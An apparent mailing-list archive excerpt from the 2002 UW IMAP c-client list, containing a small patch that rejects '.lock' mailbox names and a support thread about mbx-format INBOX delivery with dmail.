mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB3DB4qt028395 for ; Tue, 3 Dec 2002 05:11:04 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 05:11:03 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB3DAoS9003381 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 05:10:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB3D9eS1024042; Tue, 3 Dec 2002 05:09:40 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB3D6Rrw010268 for ; Tue, 3 Dec 2002 05:06:28 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 03 05:06:27 2002 -0800 Received: from mid-1.inet.it (mid-1.inet.it [213.92.5.18]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB3D6QEi012511 for ; Tue, 3 Dec 2002 05:06:26 -0800 Received: from [::ffff:213.92.1.237] by mid-1.inet.it via I-SMTP-4.3.2-430 id ::ffff:213.92.1.237+JUAplMKpApJp; Tue, 03 Dec 2002 14:06:24 +0100 Message-Id: <2872875A-06C0-11D7-BEB1-0003934A5A7E@inet.it> Date: Tue, 3 Dec 2002 14:07:21 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: imap c-client Subject: [PATCH] Mime-Version: 1.0 (Apple Message framework v482) Content-Type: multipart/mixed; boundary=Apple-Mail-2-484099165 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-2-484099165 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed HI, Here is a small patch that adds the testing of the mailbox name/filename if it ends with ".lock" which is reserved for creation a mailbox lock. --Apple-Mail-2-484099165 Content-Disposition: attachment; filename=imap-lock.patch Content-Transfer-Encoding: quoted-printable Content-Type: application/octet-stream; x-unix-mode=0644; name="imap-lock.patch" Index:=20src/osdep/unix/env_unix.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0ARCS=20file:=20= /src/harrie/CVSHARRIE/imap/imap-src/src/osdep/unix/env_unix.c,v=0A= retrieving=20revision=201.1.1.2.2.3=0Adiff=20-u=20-r1.1.1.2.2.3=20= env_unix.c=0A---=20src/osdep/unix/env_unix.c=0921=20Nov=202002=20= 08:20:02=20-0000=091.1.1.2.2.3=0A+++=20src/osdep/unix/env_unix.c=093=20= Dec=202002=2013:02:34=20-0000=0A@@=20-832,6=20+832,30=20@@=0A=20=20=20= else=20strcpy=20(dst,mymailboxdir=20());=0A=20=20=20return=20dst;=09=09=09= /*=20return=20the=20name=20*/=0A=20}=0A+=0A+/*=0A+=20*=20filename=20= check=20for=20extensions=20or=0A+=20*=20names=20not=20allowed.=0A+=20*=20= This=20is=20needed=20to=20block=20the=20creation=0A+=20*=20of=20the=20= ".lock"-file/mailbox.=0A+=20*=20Does=20not=20check=20if=20the=20*name=20= is=20NULL!!=0A+=20*=20Is=20expected=20to=20be=20done=20never=20called=20= with=20NULL.=0A+=20*/=0A+int=0A+test_filename_clash(char=20*name)=0A+{=0A= +int=20i;=0A+static=20char=20*lock=20=3D=20".lock";=20/*=20May=20not=20= change=20at=20runtime.=0A+=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20*=20Must=20be=20equal=20to=20= the=20used=20lock=20extension.=0A+=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20*/=0A+=0A+=20=20=20i=20= =3D=20strlen(name)=20-=20strlen(lock);=0A+=20=20=20if=20(0=20<=3D=20i)=20= {=0A+=20=20=20=20=20=20=20return=20(strcmp((name=20+=20i),=20lock)=20?=20= 0=20:=201);=0A+=20=20=20}=0A+=20=20=20return=200;=0A+}=0A+=0A=20=0C=0A=20= /*=20Return=20mailbox=20file=20name=0A=20=20*=20Accepts:=20destination=20= buffer=0A@@=20-844,6=20+868,7=20@@=0A=20=20=20struct=20passwd=20*pw;=0A=20= =20=20char=20*s;=0A=20=20=20if=20(!name=20||=20!*name=20||=20(*name=20=3D=3D= =20'{')=20||=20(strlen=20(name)=20>=20NETMAXMBX)=20||=0A+=20=20=20=20=20=20= test_filename_clash(name)=20||=0A=20=20=20=20=20=20=20((anonymous=20||=20= blackBox=20||=20restrictBox=20||=20(*name=20=3D=3D=20'#'))=20&&=0A=20=20=20= =20=20=20=20=20(strstr=20(name,"..")=20||=20strstr=20(name,"//")=20||=20= strstr=20(name,"/~"))))=0A=20=20=20=20=20dst=20=3D=20NIL;=09=09=09/*=20= invalid=20name=20*/=0A= --Apple-Mail-2-484099165 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Harrie --Apple-Mail-2-484099165-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 3 16:35:40 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 16:35:40 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40Zdqt022212 for ; Tue, 3 Dec 2002 16:35:39 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 03 16:35:38 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB40Zb0B018629 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 16:35:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40YQS1016678; Tue, 3 Dec 2002 16:34:26 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40WBrw018978 for ; Tue, 3 Dec 2002 16:32:11 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 03 16:32:11 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40W98I006117 for ; Tue, 3 Dec 2002 16:32:10 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066222 for ; Tue, 03 Dec 2002 19:32:00 -0500 Message-Id: Date: Tue, 03 Dec 2002 19:31:59 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Subject: imapd Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been having a problem upgrading to imap2002. How do I solve this problem? Problem: I am unable to store mail in the inbox. All other email folders work ok. Below is an entry in the procmail log file. delivered to /var/spool/mail/dmorsberger >From dmorsberger@natasha.sensysdl.com Mon Dec 2 22:21:25 2002 -0500 Subject: Re: Other: (KMM2204908V61061L0KM) Folder: /usr/local/bin/dmail +inbox 2046 Our configuration: all mail is to be stored in the $HOME/mail directory. There is an inbox file and a file for each imap folder. We are using procmail to process mail from sendmail We are using dmail to place mail in the appropriate folder because our default format is mbx. I made the following change based on the FAQ to the env_unix.c file static char *mailsubdir = "mail"; /* mail subdirectory name */ I followed dmail through gdb and I think it would work if the following code (env_cc:1581) did not set *dst to null: if (anonymous || blackBox || closedBox) sprintf (dst,"%s/INBOX",mymailboxdir ()); else *dst = '\0'; /* otherwise driver selects the name */ What is a blackBox or closedBox? Should I be setting one of those variables to T? Does case matther? Should the physical file be named INBOX or inbox? Thanks, Dave From pinedev@shivax2.cac.washington.edu Tue Dec 3 16:46:38 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 16:46:38 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40kcqt022652 for ; Tue, 3 Dec 2002 16:46:38 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 03 16:46:37 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB40kZS9026684 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 16:46:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40imaQ020086; Tue, 3 Dec 2002 16:44:48 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40gjrw040632 for ; Tue, 3 Dec 2002 16:42:45 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 03 16:42:44 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB40giMc032353 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 16:42:44 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB40giVM031580 for ; Tue, 3 Dec 2002 16:42:44 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 03 16:42:43 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB40ggmZ025727 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 16:42:43 -0800 Message-Id: Date: Tue, 3 Dec 2002 16:41:51 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, you should not be setting blackBox or closedBox (unless you know *precisely* what you are doing); and yes, it is correct that *dst is set to null and you should not be changing that. The key is the "delivered to /var/spool/mail/dmorsberger" message; this is indicating that it is delivering mail in the traditional UNIX mailbox format. Does a file named "INBOX" (all uppercase) exist in the home directory? Did you set CREATEPROTO to mbxproto in the Makefile? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 17:17:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 17:17:56 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41Htqt023565 for ; Tue, 3 Dec 2002 17:17:55 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 03 17:17:54 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41HrS9027602 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 17:17:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41HJaQ019450; Tue, 3 Dec 2002 17:17:19 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41Dprw019154 for ; Tue, 3 Dec 2002 17:13:51 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 17:13:51 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41DnEi008411 for ; Tue, 3 Dec 2002 17:13:50 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066223; Tue, 03 Dec 2002 20:13:34 -0500 Message-Id: Date: Tue, 03 Dec 2002 20:13:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Mark Crispin Cc: Subject: Re: imapd In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I set the following in the Makefile: CREATEPROTO=mbxproto EMPTYPROTO=unixproto I have tried it with both inbox and INBOX. Here is the debug output after I created ~/mail/INBOX: Note: The debug messages state /home/dmorsberger/mail/INBOX but the data is in /var/spool/mail/dmorsberger Uppercase INBOX bash-2.05$ ./dmail -D +INBOX Test Test delivering to dmorsberger+INBOX Verifying safe delivery to /home/dmorsberger/mail/INBOX dummy appending to #driver.dummy/INBOX (file /home/dmorsberger/mail/INBOX) delivered to /home/dmorsberger/mail/INBOX Verifying safe delivery to /home/dmorsberger/mail/INBOX You have mail in /var/spool/mail/dmorsberger bash-2.05$ ls -l /home/dmorsberger/mail/INBOX -rw------- 1 dmorsber sdlgrp 0 Dec 3 20:03 /home/dmorsberger/mail/INBOX bash-2.05$ ls -l /var/spool/mail/dmorsberger -rw-rw---T 1 dmorsber mail 190 Dec 3 20:07 /var/spool/mail/dmorsberger bash-2.05$ cat /var/spool/mail/dmorsberger >From dmorsberger@natasha.sensysdl.com Tue Dec 3 20:07:46 2002 -0500 Status: X-Status: X-Keywords: Received: via dmail-2002(12) for +INBOX; Tue, 3 Dec 2002 20:07:41 -0500 (EST) Test Test Second run bash-2.05$ ./dmail -D +INBOX Test2 Test Test2 delivering to dmorsberger+INBOX Verifying safe delivery to /var/spool/mail/dmorsberger unix appending to INBOX (file /var/spool/mail/dmorsberger) delivered to /var/spool/mail/dmorsberger Verifying safe delivery to /var/spool/mail/dmorsberger > From: Mark Crispin > Organization: Networks & Distributed Computing > Date: Tue, 03 Dec 2002 16:41:51 -0800 (Pacific Standard Time) > To: David Morsberger > Cc: c-client@u.washington.edu > Subject: Re: imapd > > No, you should not be setting blackBox or closedBox (unless you know > *precisely* what you are doing); and yes, it is correct that *dst is set > to null and you should not be changing that. > > The key is the "delivered to /var/spool/mail/dmorsberger" message; this is > indicating that it is delivering mail in the traditional UNIX mailbox > format. > > Does a file named "INBOX" (all uppercase) exist in the home directory? > > Did you set CREATEPROTO to mbxproto in the Makefile? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 17:20:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 17:20:56 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41Kuqt023683 for ; Tue, 3 Dec 2002 17:20:56 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 17:20:55 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41Ks0B019959 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 17:20:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41KJg2055822; Tue, 3 Dec 2002 17:20:19 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41Ifrw021510 for ; Tue, 3 Dec 2002 17:18:41 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 03 17:18:40 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41Ie8J019044 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 17:18:40 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41Ie5C007741 for ; Tue, 3 Dec 2002 17:18:40 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Dec 03 17:18:39 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41IcmZ027713 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 17:18:39 -0800 Message-Id: Date: Tue, 3 Dec 2002 17:17:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Dec 2002, David Morsberger wrote: > -rw------- 1 dmorsber sdlgrp 0 Dec 3 20:03 /home/dmorsberger/mail/INBOX There's your problem. An mbx-format INBOX is a 2048 byte file in a specific format. It is not a zero-byte file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 17:31:03 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 17:31:03 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41V3qt023901 for ; Tue, 3 Dec 2002 17:31:03 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 03 17:31:02 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41V1S9027924 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 17:31:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41U5aQ019270; Tue, 3 Dec 2002 17:30:05 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41SBrw012792 for ; Tue, 3 Dec 2002 17:28:11 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 17:28:10 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41S98I021377 for ; Tue, 3 Dec 2002 17:28:10 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066280; Tue, 03 Dec 2002 20:27:54 -0500 Message-Id: Date: Tue, 03 Dec 2002 20:27:53 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Mark Crispin Cc: Subject: Re: imapd In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Have these changed? 1) the case sensitivity of inbox. 2) An empty file is treated as a traditional (mbox or unix?) mailbox. > From: Mark Crispin > Organization: Networks & Distributed Computing > Date: Tue, 03 Dec 2002 17:17:42 -0800 (Pacific Standard Time) > To: David Morsberger > Cc: c-client@u.washington.edu > Subject: Re: imapd > > On Tue, 3 Dec 2002, David Morsberger wrote: >> -rw------- 1 dmorsber sdlgrp 0 Dec 3 20:03 >> /home/dmorsberger/mail/INBOX > > There's your problem. > > An mbx-format INBOX is a 2048 byte file in a specific format. It is not a > zero-byte file. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 17:45:40 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 17:45:40 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41jeqt024194 for ; Tue, 3 Dec 2002 17:45:40 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 17:45:39 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41jc0B020477 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 17:45:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41j6g2085910; Tue, 3 Dec 2002 17:45:06 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41h3rw018960 for ; Tue, 3 Dec 2002 17:43:03 -0800 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 03 17:43:02 2002 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41h28J024700 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Dec 2002 17:43:02 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB41h2VM010205 for ; Tue, 3 Dec 2002 17:43:02 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 03 17:43:01 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB41h1mZ028706 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Dec 2002 17:43:01 -0800 Message-Id: Date: Tue, 3 Dec 2002 17:42:01 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Morsberger Cc: c-client@u.washington.edu Subject: Re: imapd In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 3 Dec 2002, David Morsberger wrote: > 1) the case sensitivity of inbox. Always case sensitive. > 2) An empty file is treated as a traditional (mbox or unix?) mailbox. Always. mbx files are never empty. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 3 18:11:10 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 18:11:10 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42B9qt024934 for ; Tue, 3 Dec 2002 18:11:09 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 03 18:11:08 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB42B70B021156 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Dec 2002 18:11:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB42ATS1014130; Tue, 3 Dec 2002 18:10:29 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB428Qrw021738 for ; Tue, 3 Dec 2002 18:08:26 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 03 18:08:25 2002 -0800 Received: from mac.morsberger.com (bgp01541355bgs.gambrl01.md.comcast.net [68.48.22.121]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB428OMb021134 for ; Tue, 3 Dec 2002 18:08:25 -0800 Received: from [10.0.1.3] ([10.0.1.3] verified) by mac.morsberger.com (Stalker SMTP Server 1.7) with ESMTP id S.0000066295; Tue, 03 Dec 2002 21:08:05 -0500 Message-Id: Date: Tue, 03 Dec 2002 21:08:04 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Morsberger To: Mark Crispin Cc: Subject: Re: imapd In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, Why does imap2001a work with inbox vs. INBOX and treat empty files as mbox files? > From: Mark Crispin > Organization: Networks & Distributed Computing > Date: Tue, 03 Dec 2002 17:42:01 -0800 (Pacific Standard Time) > To: David Morsberger > Cc: c-client@u.washington.edu > Subject: Re: imapd > > On Tue, 3 Dec 2002, David Morsberger wrote: >> 1) the case sensitivity of inbox. > > Always case sensitive. > >> 2) An empty file is treated as a traditional (mbox or unix?) mailbox. > > Always. mbx files are never empty. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. From 